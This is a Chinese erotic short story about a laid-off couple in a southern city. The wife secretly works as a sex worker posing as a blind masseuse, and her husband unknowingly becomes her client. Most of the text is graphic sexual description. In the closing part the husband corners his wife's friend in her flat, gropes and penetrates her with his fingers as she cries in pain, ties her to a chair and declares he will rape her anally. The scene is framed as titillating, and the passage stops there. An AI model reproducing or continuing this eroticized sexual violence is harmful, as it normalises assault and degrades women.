三角州夜话 #1[暴力虐待]

 

  三角州夜话

  【本故事纯属虚构.初稿原名《下岗之后》】

  凡夫九九初夏

  南方某城。

  从纱厂的布告牌转身回家,依敏拖着沉重的脚步。

  下岗就是失业,依敏的丈夫早她几个月就下岗了,这几个月来,全靠依敏一人独力持家,她的眼神茫然,不知如何面对今后的生活问题!

  二十三岁的依敏已经结婚四年,她有一个三岁大的孩子交代母亲抚养,丈夫达刚下岗之前是钢铁厂的工人,俩人虽然都有技术特长,但下岗之后却一无用处!且不说当今已经不是在家里纺纱织布的朝代,“全民炼纲”的故事也已成笑谈!

  吃惯大锅饭的达刚,失业之后是一筹莫展,原来是堂堂的正式工人,他拉不下脸皮去做沿街叫卖的小贩,祇有整天在家里唉声叹气。

  纯良的依敏很爱她的丈夫,她不忍心再去责备他,刺激他。

  然而,她妈妈带孩子的所费不能不给,小俩口也需要生活费。

  迫不得已之下,依敏去找比她早一个月下岗的工友柳晴。

  柳晴比依敏大一岁,她已经在一间“盲妹按摩中心”找到工作,现在独自住在单身公寓的一个小单位,依敏去他家里找她时,两个比亲姐妹还亲的女友,高兴起来肆无忌惮、谈笑不拘。

  然而,当依敏要求柳晴替她找工作时,这位大笑姑婆般的柳姐,不禁皱起眉头,微微叹了口气,说道︰“依敏,不容易啊!我下岗几个月了,收入好一点的工并不易找,否则我也不需要到“盲妹按摩中心”工作了。

  依敏奇怪的问︰“柳姐,你又不是瞎子,在那里做,充其量也不过是做些文书工作嘛!有什幺不好呢?”

  “文书工作?”柳晴苦笑了一下,说道︰“你以为我还在纱厂做啊!我在那儿是扮成失明按摩女,替男人做按摩啊!”

  依敏道︰“那里不需要一些其他的职员,比如招待员之类的吗?”

  柳晴答道︰“有是有,但已经有人做了,我初时也是做带位的,但最后还是受不了金钱的诱惑,才下海做了按摩女郎!”

  依敏想了一下,又问道︰“柳姐,按摩女郎要培训不,我做得来吗?”

  柳晴笑道︰“傻妹子,你当然行,不过…大姐自己已经堕落了,不想拉你下海!”

  “堕落…下海?”依敏不解地说︰“柳姐,你们是在船上做按摩,会有危险吗?”

  柳晴的脸上掠过一丝苦笑,但立即又收敛笑容,认真说道︰“依敏,你从学徒工做起,端的是金饭碗,吃的是大锅饭,你还不知外面的世界的黑暗,大姐现在干的是在出卖皮肉的工作啊!”

  “按摩当然是皮肉的工夫,不出卖怎幺有工资领呢?”依敏反问。

  “大妹子,我真不知道怎幺对你说好,总之你不适合啦!我们谈其他的吧!”

  柳晴想扯开话题,但依敏不肯,又说道︰“柳姐,我这趟来找你,主要目的就是找工作,你既然有办法,就尽量帮帮我吧!”

  柳晴瞅了依敏一眼,说道︰“不是我不帮你,那可是陪男人上床的事,你一脚踩下去,就永远洗不净你的清白了!”

  依敏这才恍然大悟,临走时,她呆呆地被柳晴送出门口,柳姐再三叮瞩一定要保守秘密的话,她似乎一句也没有听进去!

  一个月过去了,依敏找工碰了几次壁,她着急了。

  她不禁寻思道︰柳姐做得来的,自己应该也做得到吧!陪男人上床,还不是好像和老公私下做的那回事,说实在的,自己也曾经对丈夫以外的男人有过性幻想…

  而家庭的经济问题,已成燃眉之急,想到这里,依敏下了决心,她拨电话给柳晴。

  柳姐再三劝阻,终于还是答应依敏,带她去见见经理…

  第二天,依敏告诉她丈夫达刚,她去了一家“盲人按摩中心”做带位。

  达刚本来对职业还在高不成低不就的,见到妻子找到工作,一种由男性自尊心引起的无形压力,促使他挺而走险,他加入了一个小走私帮,干贩卖漏税香烟的工作。

  三个月过去了,小两口的家庭经济起了很大的变化,手头显着地比以前鬆动了。

  可是,小夫妻间的房事也比较以前起了变化,本来,她们每隔三两天就欢好一次,而且非常和谐,许多时候,依敏还会主动去挑逗达刚。

  但现在,依敏每次下班回家,都非常疲累,上床时,达刚向她求欢时,她祇是敷衍了事,并不如以前的雀跃,因而使丈夫觉得味如嚼蜡。

  不过,达刚也很体谅妻子,他认为她工作太累了,因此趴在她身上随便捣弄一番,得以发洩过后,也就算了。

  在依敏心里,她也不是有意冷落丈夫,她天天过着皮肉生涯,也实在是真正工作太累了,她在丈夫面前又不敢假装高潮,怕被识穿反而不妙。

  有这幺一次,达刚的同事阿林对他说道︰“喂!人一世、物一世,想不想去享受一下,我知道一个好玩的地方,一起去玩,会更划算哩!”

  阿林如此这般地讲了一堆话,达刚想到最近和妻子房事不太和谐,终于也心动了。

  阿林所说好玩的地方,原来是一家“盲人按摩中心”,达刚一见到门口的招牌,心里不禁一愣,因为他想起自己的妻子就在这种地方工作。

  但是,不等达刚多想,阿林已经走进去,他祇好也硬着头皮跟着进去。

  达刚心里还在担心会不会遇上她妻子在这里做带位或者什幺的,已经有个穿旗袍的年轻小姐迎上来打招呼。

  阿林似乎对这里蛮熟的,对那女郎说道︰“娟娟小姐,什幺时候你也下海捞银,我可是第一个捧你的场哦!”

  那个叫娟娟的女郎笑着骂道︰“死阿林,别打咱的坏主意了,死了你条心吧!今天想要那一个盲妹替你做呢?”

  “你不下海,我祇好照旧了,还是我那颗掌上明珠吧!不过今天我带朋友一起来,你就叫珍珠姐妹一起来吧!”

  “哦!我知道了,你带朋友一起来,可以享有特惠优待,还可以交换…”

  “知道啦!快安排嘛!”阿林截住她的话。

  俩人打情骂俏一翻,便被带到浴室去沖洗一番,换上“制服”,也就是一条短裤和一件纯棉布的浴袍。

  从浴室出来,他们被带到一个厢房,这是祇有柔弱红色灯光的房间,大约祇有十平方米左右,屋里没有床铺,祇摆放着两张一米宽的床褥。

  达刚和阿林刚躺到床褥上,门口一亮,便有两位带着墨镜的小姐推开门,摸索着走进来。

  在两个盲妹推门进来的一剎,达刚浑身一震,因为其中一个盲妹的脸形身材,和他的妻子依敏一模一样!不过这时她戴着墨镜,不能作肯定,而且门很快就关上了。

  “阿珠,我又来捧你的场了,阿珍,你先招呼我朋友,一会儿玩交换!”

  室内仍然是灯光十分柔弱,不过,阿林认得向她走来的盲妹不是酷似她妻子的另外那个,因为这个盲妹比较丰满,而他妻子比较苗条。

  “阿珠来了,让我先替你把衣服脱了!”是邻床的盲妹在说话。

  “老天!”达刚心里暗暗叫苦︰“这不正是我老婆依敏的声音吗?原来她是扮盲妹做按摩女郎,啊!难道时下的所谓按摩女郎,都是借按摩为名,卖肉是实?”

  达刚几乎想跳起来,他要看清楚邻床的按摩女郎是不是自己的老婆,要把她拉回家去问问清楚…

  但他刚坐起身来,就被人摸到衣钮脱去浴袍,接着他被扶着卧下,连身上唯一条短裤也把褪掉,这突然的惊异又使他呆住了。

  达刚第一次被妻子之外的女人脱裤子,而且是脱的精赤溜光,胯间的肉棒立时勃了起来,呈一柱擎天状态,他本能的伸手去掩,但阿珍却把她的手拉到自己的酥胸。

  达刚不禁又冷静下来,他记起自己也是出来“走私”,假如触破阿珠的机关,和她吵起来,自己也同样是理亏的,于是,他安静下来了。

  替达刚脱裤的按摩女郎是阿珍,不过达刚和她素未谋面。

  她把达刚的短裤放在一边,也把自己白色的製服脱下挂起来,转身便开始玩弄起他的硬物起来,她一边捏弄着那根硬梆梆的肉棍儿,一边自我介绍并问道︰“我是阿珍,这位先生,您是第一次来这里的吗?”

  达刚不敢出声,祇是点了点头。

  “包你很舒服的!”阿珍说道︰“我们一般都是替先客人手放一次,再开始按摩,按摩过程中还会再用口做一次,假如你还有兴致,我们可以让这里和你做出一次!”

  阿珍说话的当儿,把达刚的一只手拉到她的阴户摸了一把。

  “哇!这次爽死啦!”达刚兴奋得差点儿出声,心里又想︰“要被榨乾了!”

  阿珍说完,竟拉着达刚的手放到她的乳房上去,接着便握住肉棒上下套弄。

  达刚突然被一个陌生女郎摸弄阴茎,紧张得把双手所捉住的女人奶房紧紧抓捏着,那条粗硬的大阳具如灌足料的肠子,随时会爆裂似的。

  阿珍软绵绵的手儿继续握住达刚肉棒上下套弄,并用嘴巴含着龟头。

  达刚那曾试过阴茎放入女人的口腔,他是又新奇,又兴奋,激动的双腿不由自主的发颤,捉住阿珍的手把她的乳房捏得变形。

  达刚实在忍不住了,他尽管阿珍刚才告诉他“手放”但他做梦也没想过把精液射入女人的嘴巴了,他本能的想挣开,却被紧紧捉住,那股握力促使他失禁似的爆发,双腿一直,一股浓浓精液直冲阿珍的喉咙…

  阿珠含着满口精液,然后吐到一块湿毛巾上,再抹抹嘴对达刚说道︰“放出来了,你喷得好劲啊!舒服了吧!好享受还在后面,现在开始按摩了。

  接着,阿珍由头做起,两只柔若无骨的手儿轻轻在达刚的脸上揉搓,看她摸摸索索的样子,又酷似真正的盲人似的。

  达刚忍不住搂住这个女人的头,低声在她耳边问道︰“你是扮瞎子…”

  “嘘…”阿珠的手儿捂住达刚的嘴,低声在她耳边说道︰“这事可不能张扬出去,其实这里光线暗,我们戴着墨镜,跟盲人也差不多,你的样子如何我都不知哩!

  “她果然是扮盲的!”达刚立刻想到邻床的盲妹也有可能是阿珠扮的,他不由得把眼睛望过去。

  那边的的阿珠还在替阿林打飞机,阿林这只老雀,当然比达刚耐打了,不过也到了尾声,祇见阿林乐得舞手蹈脚,伊呀出声,接着也是双脚一直,像死了似的不动了。

  达刚眼金金见到阿珠用嘴巴去承接阿林的精液,心里是气血逆转,这时他已经是认定盲妹阿珠就是自己的妻子依敏,但此情此景,他所能做到的,也祇是忍耐。

  阿珍见到达刚的眼睛望定了隔邻,遂笑着说道︰“阿珠身材很好,手势也不错哩!我去把她换过来,让你也试试她!”

  达刚不敢开口说不,阿珍已经离开他,向对面走过去。

  那边的阿珠,把口里的精液吐出来之后,也姗姗走过来。

  这下轮到达刚紧张了,眼看自己妻子的身影向自己慢慢移近,他的心就像要从口里跳出来,但他祇有噤声,他也不晓得假如此刻夫妻相认,会是怎样的局面?

  好在阿珠并不多嘴问他,祇是默默地做她的按摩工作。

  她把达刚翻了个身,仍然由头部做起,然后右手…左臂…胸部…大腿…直至脚底…手到力到,一点儿也没有含糊,末了还用她虽然不很大,但很弹手的乳房、圆臀的软肉到处压压揉揉,令得达刚此时的感受简直是飘飘欲仙了。

  做完了背脊,达刚被翻过身来,这时他射精后的疲倦已经恢複了大半,但这个阿珠仍然继续正正经经的替她做按摩,仍是做脸部…右手…左臂…胸部…大腿…直至脚趾…

  奇怪的是,当她经过男人的阳具时,并没去动它,却把双掌用力按压小鸡旁边的大腿尽处,令男人一股热气直透脚底。

  最后,阿珠认真的按摩男人的脚趾和脚底,纤纤玉指的揉捏,使得达刚心旷神怡,他胯间软软的小鸡已开始有抬头的迹像。

  阿珠做完脚部按摩,才把按摩部位上移,集中于“弄雀”,这时,她趴在达刚的身旁,俯首张嘴,把男人半硬软的龟头纳入口中,深吞浅吐,还用舌儿捲绕挑弹…

  达刚对这位带着墨镜的盲妹到底是不是自己的妻子依敏,始终还是心存怀疑,而这位阿珠过来之后又默默做事,一声不响,使他也不能进一步作出肯定。

  这时阿珠使出的纯熟的口技,不像依敏平时的表现,依敏也根本没有替他口交过,达刚又开始动摇了,他的内心在推翻自己刚才的怀疑︰“或者人有相似吧!”

  性器官最敏感的部位被女人的小嘴含吮,那种滋味真是妙不可言,达刚舒服得两腿发颤,口里几乎要呻呼出声,那半硬软的阳具迅速膨涨发硬。

  阿珠仍然把两片薄薄的嘴唇紧紧的吮着涨硬的龟头,达刚觉得自己差不多要火山爆发了,如果不是阿珍刚才告诉他“口放”的事,他差点儿又要把龟头从这女人的口里扯出来,这个老实人,他始终觉得在女人嘴里射精是对她的一种侮辱。

  毕竟刚才在阿珍的口里爆过浆,达刚这次觉得龟头是爽了好久由绷紧着的龟头一洩如注,他的感觉如充血的龟头裂开,体内的血液在高压下急喷,液流通过尿道时的快感使他打冷颤似的全身颤抖。

  阿珠把他的阳具含了好久,并把满口精液慢慢吞食嚥下,然后继续把射精后的阴茎继续又啜又吮。

  达刚这时如经过一场剧烈的运动,全身经脉畅通,但肌肉则有少许倦软,他懒洋洋的躺着让女人衔着肉棒吞、吐、舔、舐…

  这时他的快感已经完全消失,但那膨涨的阳具就像浸润在保温杯里,保持着原来的形状,但硬度就有所减退,达刚自己也有举而不坚的感觉,因为此刻毕竟放鬆了精神,缺乏一股发自体内的冲劲。

  达刚望向邻床,阿珍还衔着阿林的老雀落力吞吐,阿林实在够定力,他斯斯然仰天躺着,一边慢条斯理伸手捻捏女人丰满的双乳,一边舒坦的张开着双腿享受口交之乐!

  这边的阿珠趴在达刚的下半身,她的小嘴不离男人的龟头部位,两只绵软软的乳房轻轻拂扫着男人的大腿,手掌又放在他大腿的尽处,并行力按压。

  说也奇怪,大概是什幺穴位的关系吧!达刚觉得他双脚的脚心开始发热,接着,一股暖流由脚底上传,达刚如传言中吃了春药的男人,他觉得又有一团慾火在他的体内燃烧,一股充满氧气的新血冲向阴茎,涌入那微软的海绵体,使得刚射精不久的龟头又处于绷紧的状态。

  阿珠当然也感觉到口里的变化,她灵巧的用舌头在那蛙怒的冠状沟绕圈几遭,然后把龟头吐出,又把那硬梆梆的肉棒横吹竖吸,使得它更挺直了。

  接着,阿珠抬起屁股,把她的肉体向男人上身一挪,来一个移码头就船舶,达刚还没看清楚码头的景观,船儿轻易就入港了。

  达刚的阳具进入一个湿软的腔道,绷紧着的龟头得到那软肉的包裹,有种外压抵消内压引起的舒缓感觉,既是美滋滋的满足,又想贪心地蠢蠢欲动。

  不过,有一个感觉又升上达刚的脑子,他觉得这个女郎的销魂洞似乎很熟悉,和他平时和妻子行房时一模一样,初时按摩女郎进房时的令他惊认是依敏的疑团,又再度使他纳闷了。

  祇是,没等他多想,阿珠已经扭腰摆臀,用她的阴道去套弄他的肉棒。

  这种感觉也是达刚前所未有的,小夫妻一惯是传统的男上女下,此刻的感受是非常特别的,加上快感阵阵袭来,达刚又暂时扔开怀疑了。

  阿珠先是面向着达刚套弄,在红色微光下,仍然可以清楚看见肉蚌啜着柱子吞吞吐吐,见她的耻部是光滑一片,达刚又想到妻子依敏的阴户也是光秃秃的。

  达刚又重拾疑团︰这个女人什幺都像自己的老婆!

  他心里很想拿掉她的墨镜,但又想假如阿珠就是依敏,此刻他也不知如何是好,想到这里的他,还是压抑住自己那份複杂滋味的好奇心,没敢做出任何举动。

  阿珠在没有和男人肉体脱离的状态下转身换了个姿势,她背向男人,继续套弄,这时达刚发现这个女郎的大白屁股沟里,靠近肛门一寸之处有个小小的胎记。

  达刚的印象中没有见过妻子臀部有这样的胎记,这个他倒很清楚,因为他是很喜欢老婆那个大白屁股,她也曾在灯光下把个粉臀任其玩赏。

  正当达刚对着这个上下耸动的大白屁股发呆时,那边厢的阿珍已经完成了让阿林的“口出一次”,她吞下精液,抹抹嘴走过来。

  突然,熟悉的口音发自阿珠︰“柳姐那边完事,又到交换时间了。”

  达刚闻声又是一震,这把声音分明是妻子依敏的!

  然而,不由得他多想,阿珠已经趁外吐之势把臀部抬起,让一条颇长的肉棒脱离她的阴道,回过脸望着嘴角一笑,转身离他而去。

  阿珍回到达刚这边,她没让他的肉棒有太久的自由,她跨上男人的身体,绵软的手儿一抓,大白屁股一凑,船儿又入港了。

  这个新港芳草萋萋,达刚见到她的船儿像驶进芦苇蕩,但很明显的,这个港口要比阿珠那个狭窄得多,感觉上就像他妻子依敏未生小孩时那样。

  阿珍不停的问这问那,但达刚不敢和她攀谈,他仍未消除阿珠是否依敏的疑虑。

  阿林那边传来他被阿珠啜吮阳具时“呵呵”叫爽之声。

  一会儿,阿珠也骑到男人上面,她的嘴没被龟头塞住,便和阿林你一言我一语地打情骂俏起来,二人如同老搭当似的,说的全是撩人心弦的淫言浪语。

  阿林道︰“小珠珠,我的龟头顶到你的子宫颈了,一会儿我要向你射精,要你替我生过胖娃娃!”

  阿珠道︰“我说老林,要不是咱已经被政府的计生办结札了,可真的会被你捣出个小娃儿,咭咭!现在你是在浪费子弹,你再射几次,我的肚子也不会凸起来啦!”

  阿林道︰“这幺说,你是生过小孩啦!嘿嘿,我就喜欢你底下不鬆不紧,人也够骚够风情!我就怕那些十八廿二的,一插进去就哇哇叫痛,大煞情趣!”

  阿珠淫笑着说道︰“喜欢就常来嘛!咱的骚穴随时等林哥来搔痒哩!”

  “少灌迷汤啦!你是不是对个个男人都这样口水多过茶的?干事时都有说有笑?”阿林的大手捏住女人的乳房。

  “那儿是呀!有的客人喜欢闷干嘛!好像你那个朋友,他比较好静,我也不好意思多嘴呀!喂!你轻点捏我的奶子嘛!人家也是有阿妈生出来的呀!”

  “他呀!他是处男下海,被我这个损友拉下水的哩!一回生,两回熟,以后他可能比我还话多哩!”阿林哈哈说道,双手在女人身上到处乱摸。

  “哦!怪不得啦!我觉得你朋友比你老实得多,要柳姐牵他的手才敢摸!”

  “柳姐…?”达刚又寻思了︰“依敏也提过,是一位叫柳姐的工友介绍工作的,这个盲妹阿珠,无论身型,声线都很像我老婆,祇是依敏倒没这幺淫蕩,屁股沟也没那幺个胎记…”

  不过,这时他的阳具插在按摩女郎的肉体之中,一阵阵快感由龟头和腔肉的摩擦产生,刺激他的神经感官,使得他意乱情迷。

  红色柔光下阿珠和阿林中间的“真人表演”,以及男女间的淫声浪笑也像催化济一般,致令虽然已经两次射精的达刚,仍然把阳具挺勃在女人的阴道里。

  不过,再次喷射之后,达刚不但觉得龟头有点儿酸痛,人也倦极,甚至有点儿昏昏欲睡,他双眼一合,竟睡过去了。

  达刚被阿林叫醒时,按摩女郎已经离开,房间里祇剩他们二人了。

  阿林笑着说道︰“怎幺在这里睡着啦!回去再睡吧!喂!爽不爽?没骗你吧!”

  达刚不好意思地爬起来穿上衣服,二人结帐之后,一齐离开盲人按摩院,在附近的餐馆吃了点东西,便各散东西了。

  回到自己家里,已经是晚上十一点了,依敏还没回来,但从时间上推测,她应该是就快回来了。

  达刚望着空房,心头像闷压着一块大石,盲妹阿珠到底是不是妻子依敏,他的脑子里是一会儿质疑,一会儿又竭力想推翻自己的疑团,但他始终做不到!

  他脱去衣服,躺到床上,默默地想…

  门“依呀”打开,依敏回家了,达刚的双眼像X光似的想看穿妻子,但他看不出什幺,依敏还是那幺温婉可人,她还买了点心回来让丈夫宵夜。

  依敏去浴室后,达刚灵机一触,就敲门说︰“阿敏,你去上班好累的,我来帮你擦擦背。”

  依敏从浴室门缝笑着说道︰“你今天怎幺啦!好羞人的!”

  这对小夫妻虽玩过鸳鸯戏水,但也并不经常同浴,依敏有点儿难为情,不过还是开门让达刚进入浴室。

  达刚的意图是看看依敏屁股沟里是不是有他在阿珠身上发现的胎记,他也没有多说什幺,拿起海棉,在妻子背脊擦拭起来。

  渐渐的,海绵从依敏光滑的背脊滑到屁股沟里,达刚双手把两瓣白嫩的臀肉拨开,他不禁浑身一颤,那里果然有他在阿珠身上同一处发现的胎记。

  昨晚在红色灯光下,还看得不太清楚,现在浴室的明亮灯光下,达刚清楚见到那处似乎是一个纹身,一朵很小的玫瑰花。

  他当场无力再擦拭,而这时依敏也不知是认为够了,还是心存顾忌,她妩媚地对丈夫说道︰“老公,现在你有工做了,也累了,让我自己来吧! ”

  达刚拖着发软的双腿回到床上,他已经完全肯定自己的妻子就是在按摩院里出卖肉体的“盲妹”阿珠,而那个纹身,极有可能是黑道组织的记号。

  “完了!怎幺办呢?”达刚寻思︰离婚吧!阿珠自从和他工友相识,至到结婚生孩子,对自己可以说是一往情深!生活上关怀备之,就连床上相处,做那回事时也是千依百顺,柔情依依。

  达刚本人素来是爱妻如命,所以,虽然按摩院里的一切令他满腔怒火,但依敏平时给他的好处仍然牵系着他的理智。

  阿珠光着身子从浴室走出来,她如一朵出水芙蓉,肌肤是白里透红,玲珑的脚儿莲步轻移,修长的玉腿摇曳着肥美的粉臀,纤细的腰肢啊娜多姿,苗条身材的胸部偏偏又挂着两个大小适中,浑圆饱满的乳房。

  在平时,依敏要是偶然有这幺诱或的“淫蕩”表现,达刚的小弟弟就会勃然而硬,自动从床上弹起来,把爱妻拉倒在床上,迫不及待地把硬物插入软洞。

  但依敏是个正经女人,平时在丈夫面前,一般还是庄重矜持的,今晚会这样做,是因为达刚刚才替她擦背,她突然感觉到,自从她到“盲人按摩中心”以来,委实有点儿冷落丈夫了,因此,她故作淫蕩,刻意显露风情万种,给她男人有点儿补偿的意思。

  不过,达刚似乎不领她的情,见到依敏的浪态,他不禁想起淫践的阿珠,想起阿珠替阿林吹喇叭,想起阿林把阿珠,其实是自己的妻子依敏干得淫声浪叫。

  达刚由心底生起无名醋火,他差点儿一巴掌刮到依敏吹弹的破的粉腮。

  然而他见到妻子深情的眼神脉脉秋波,火热的红唇呵气如兰,一股无形的热浪向他直逼,他情不自禁地软化了。

  本来,男人心软时,那话儿就最硬,不过达刚今晚已经“三放”,竟然心有意而力不及,他的嘴和依敏凑过来的香唇紧紧啜住,他的手自然的放上她左胸上的饱满圆球。

  依敏的手也伸到丈夫胯间,但出乎她意料之外,达刚的小体软如死蛇。

  达刚也意识到了,他从没如此失準,急忙编个故事道︰“你还没回家时,我有点冲动,又不想晚上搞你,因为我知道你在外面好辛苦,所以自己打飞机算了!”

  依敏听了,心里一阵感激,她连忙放开手里握着的肉棒,柔声说道︰“老公,委曲你了,以后不要这样了,我虽然累,也不曾拒绝给你呀!”

  依敏偎入丈夫的怀抱,达刚不觉也抱住了她。

  依敏实在是十分疲劳,很快就睡过去,达刚则心潮起伏,怀抱着赤裸的妻子依敏,脑子里尽是戴着墨镜的阿珠。

  他又想起阿珍︰“一定是该死的阿珍把依敏带坏了!”

  达刚越想越气,但他内心又舍不得埋怨自己的妻子,毕竟在两夫妻都失业,家庭生活顿失所依的惨况之下,妻子勇敢担起重任…

  不怨妻子,自然是迁怒于阿珍!

  “好!就拿阿珍报仇!”打定主意之后,达刚总算睡过去了。

  次日,达刚在家里留下一张“今天不回家”的字条,找出一条平时原来绑货物用的绳索,準备有必要时使用。

  然后他稍微乔妆一下,戴上黑眼镜,在盲人按摩院附近的小食店耐心的等候。

  晚上十时左右依敏终于见到妻子和一个女郎一起走出来,迅速上了公共汽车,而那个女郎分明就是昨天那个盲妹阿珍的样子。

  达刚连忙跟上车,站在她们背后,这时二女都脱下墨镜了。

  依敏先到,下车之前,“阿珍”对她说道︰“我已请了假,明天我不能上班了。”

  依敏点了点头笑着说道︰“我知道啦!柳姐,三天后再见!”

  柳晴下车时,达刚也跟着下车,尾随柳晴走进一座单身公寓。

  达刚见到柳晴开锁进门、开灯,也跟着一闪身进入柳晴的住所,柳晴大吃一惊,问道︰“你…你是什幺人,想干什幺?”

  达刚笑着说道︰“你认识依敏,应该认识我吧!你别害怕,我祇是来问你点事。”

  “依敏…啊…我记起来了,你是她老公达刚。”

  “不错,你自己一个人住这里吗?”达刚打量着这个一房一厅的小单位。

  “我…是的!这幺晚了,你…你有什幺事吗?”柳晴显然有点儿心慌。

  “是你介绍依敏去盲人按摩院做的吧!”达刚开门见山。

  “我…依敏…依敏在那做带位嘛!我…我也是呀!”

  “阿珍!”达刚冷不防的一声,柳晴如雷贯顶,浑身一颤,恐惧的目光瞅了达刚一下,发现男人正盯着她,连忙垂下头,低声问道︰“你知道我在上班时的花名?”

  “我当然知道,我做过你的顾客嘛!我还知道我老婆叫‘阿珠’”达刚冷冷地说。

  阿珍脸无血色,颤声说道︰“你…你是来兴师问罪,我…我劝过依敏,但…但是她说你们俩夫妇都下岗,家里…家里有困难!”

  “但是,你没有问过我!”达刚厉声斥责。

  “小声点,邻居睡了!”柳晴更心慌了,脸色由青转红,迅速关上房门。

  “你怕吗?你既然懂得怕羞,为什幺还拉我老婆去做那种见不得人的事?”

  “我…唉…真的不是我拉依敏去做按摩,是她自己要下海的,她一次过向公司预支了五万元,我也不知她用来做什幺,接着公司就安排她和我做“珍珠姐妹花”…”

  达刚心知肚明,依敏之所以借钱,正是因为他走私香烟所需要的本钱。

  他一时语塞了,但他不甘心,仍将满腹怨气发洩在柳晴身上,他怒斥道︰“如果不是你介绍她这份工,哪里有这样的事发生?”

  柳晴又是浑身一颤,她低声说道︰“既然已经做了,你生气也没有用,依敏实在是个好女人,你可千万别打她、骂她…”

  “我不打她、骂她,难道拿你来出气?”达刚又激动,说话也大声起来。

  “你轻声一点好不好?算我求你了。”柳晴向达刚走近一步,幽幽地望着她。

  达刚这时满肚子闷气,他右手捉住她的手臂,使劲一拉︰“你以为我不敢打你?”

  柳晴惊悸地望着这个怒目圆睁的男人︰“拉拉扯扯的,干什幺嘛!”

  “你还蛮正经的,你他妈的,你身上哪处我没摸过”达刚说罢,右手一拉,左手一抓,一把擒向柳晴的奶房。

  柳晴吃惊地躲闪,但她手臂被男人紧捉,她的大奶还是被抓个正着,她一边挣扎,一边倔强地对达刚说︰“请放尊重点,我不想做对不起依敏的事!”

  “你还敢提我老婆?你昨晚岂不是也做过了我的老婆!”达刚放开柳晴的乳房,迅速把柳晴的娇躯拉进自己怀里,紧接着一手上伸酥胸,一手下探耻部,实行摸奶炒蚬,大肆对这个女人上下其手起来。

  柳晴拼命地挣扎着,但她哪里敌得过孔武有力的炼钢工人,铁钳似的大手和衣擒获了饱满的乳房,也隔着裤子扪住了夹缝处的两瓣肥肉。

  柳晴似乎觉得大势已去,她停止了挣扎,但达刚得寸进尺,他开始入侵她的衣服里面,不等柳晴惊觉起来抵御,一对大手已经从她的腰际上下抢攻,一手捏住肥奶,食指撩拨奶头,另一手即插入内裤,中指擦入阴户。

  这时的柳晴全无性慾,敏感部位的涩痛使她不禁哀哀讨饶起来︰

  “好痛哇!你不要用手指来,呜…不要挖嘛!”

  “臭婊子,你这里是万人进的地方,早麻木了,还会痛吗?”

  “哇!太离谱了!你简直把我们不当人看待!”

  “哼!我不打你已经很客气了,你简直是太可恶了,把我妻子带去做婊子!”

  “好吧!算我该死,你别再难为依敏如何,其实她真正是你的好老婆,假如你打她骂她,你就冤枉她对你的一番心意了。”柳晴回头,楚楚可怜的望着达刚。

  “你还替她求情哩!现在你喊又不敢喊,逃又逃不掉,你不觉得你自己现在很可怜吗?”望着柳晴的圆脸,达刚觉得她可怜兮兮的,但此刻他已经激起一股慾火。

  达刚此刻想的是发洩,想把他对妻子怪罪不得的怨气,发洩在怀中女人的肉体,他把插在柳晴阴道里的手指又是劲的一挖。

  “哎哟!痛!痛死我了!你这样糟蹋我有甚幺意思,你一个大男人,没法子赚钱养家,依敏为你下海出卖自己,你不感动也罢,还虐待我这苦命女人来出气!”

  阿珍也不知是因为疼痛或者是委曲,豆大的泪珠滚出眼眶。

  望着柳晴梨花带雨的俏脸,达刚不由得一阵冲动,他伸手去拉她的衣服。

  “不行!不要啊!我是你妻子的朋友,你不能搞我,你打我骂我没问题,你不能搞我,不行啊!不要…”柳晴尽全力撑拒着,看起来态度很坚决。

  “臭婊子,你又不是没给我干过,你还吮过我的阴茎,吃过我的精液,现在还在扮什幺矜持,装什幺淑女?”

  柳晴并没有放鬆抵抗,她倔强地说︰“那不相同,那是在干活,在卖肉,现在你强姦我,不仅是对你妻子不忠,也陷我于对朋友不义!”

  达刚心想︰“这个柳晴倒有些想法,等我把她脱光再好好泡製!”

  他转念一想,便说道︰“你以为我要强姦你?我要把你脱光了打屁股,你这个带坏我老婆的贱人,不打红你的屁股,我一肚子气难消!”

  “你不强姦我,我就可以脱下裤子让你打,但你打过我之后,是不是就可以放过依敏?”柳晴问得很认真。

  “好!我不强姦你,快脱吧!不打烂你屁股,我的一肚子气难消!”达刚双目已经被慾火烧红,逼视着柳晴。

  柳晴咬一咬牙,转过身去,把裤子一脱,扔到一边︰“你打吧!但是,请别让依敏知道你今晚打我的事!”

  “你跪在这张椅子上,后起个屁股!”达刚拖过身边的靠背椅,下令说道。

  柳晴听话地跪上椅子,上半身趴在椅子的靠背上,单掌捂住阴户,样子颇滑稽。

  达刚从口袋里掏出有备而带来的绳索,柳晴还没看清楚,一只手已经被缚在椅子的靠背上,紧接着,柳晴另一只捂住羞处的手也被拉过来缚在一起。

  柳晴一脸无奈地说︰“你打我就好,可不能强姦我!”

  达刚冷笑道︰“你真是又要做婊子,又要立牌坊,今晚我并不準备干你,但是我很不明白,我已经插过你的阴道,而且在里面射精,一次也秽,百次也秽,你真的这幺执着?这幺认真你和依敏的姐妹情?但她可是我的老婆呀!”

  “她是你老婆没错,我也没干涉过你怎样去干她,但她也是我的好姐妹,我不想和她的丈夫有肉体关系,假如她抢我的老公,我一样受不了的!”

  “哦!原来是女人的醋劲在发作,咦!你老公呢?”

  “我老公在北方,本来我下岗后就要去找他了,但南方赚钱容易,所以我想赚些钱才回去,好好和他过日子!”

  “你在这里做婊子,你不怕被他知道了不要你!”

  “我已经把初夜给了他,现在我祇知道赚钱,我跟客人干,心里还是想着他!”

  “你这是自欺欺人,我老婆一定就是这样被你教坏了!我要好好教驯你!”达刚说着,三两下手就把自己裤子脱除了。

  “你说过不强姦我的,你不能言而无信!”柳晴着急了,但她不敢放声大叫。

  “我是说过不强姦你,但你把我老婆变成众人的老婆,我要鸡姦你,要干爆你的屁眼出一口气,你乖乖的,可少受点痛苦,反正你的屁眼我今晚是插定了!”

  达刚以为柳晴会大惊失色,那知柳晴反而镇定的问︰“你有没有干过依敏屁眼?”

  “没有!”达刚有点儿兴奋地说︰“干屁眼时女人会很痛的,我很疼惜依敏,怎舍得让她受苦?我想,你一定也还没有被你老公干过屁眼,所以我要拿你的屁眼来开苞,以发洩我对你的怨恨!”

  “这个…你错了!我老公虽然没有干过我的屁眼,但我那处也已经被男人玩过。”

  “按摩时没有玩屁眼的呀!”达刚有点儿奇怪︰“有客人特别要求吗?”

  “没有!即使有客人特别要求,我也不会答应!”

  “那幺,你被谁玩过屁眼啦!”达刚奇怪了。

  “你见到我屁股沟里,屁眼附近有处胎记吗?”柳晴回头问道。

  达刚用两只大拇指拨开柳晴粉臀的肥肉,果然见到有一处和他在依敏的股沟所见到的,一模一样的纹身。

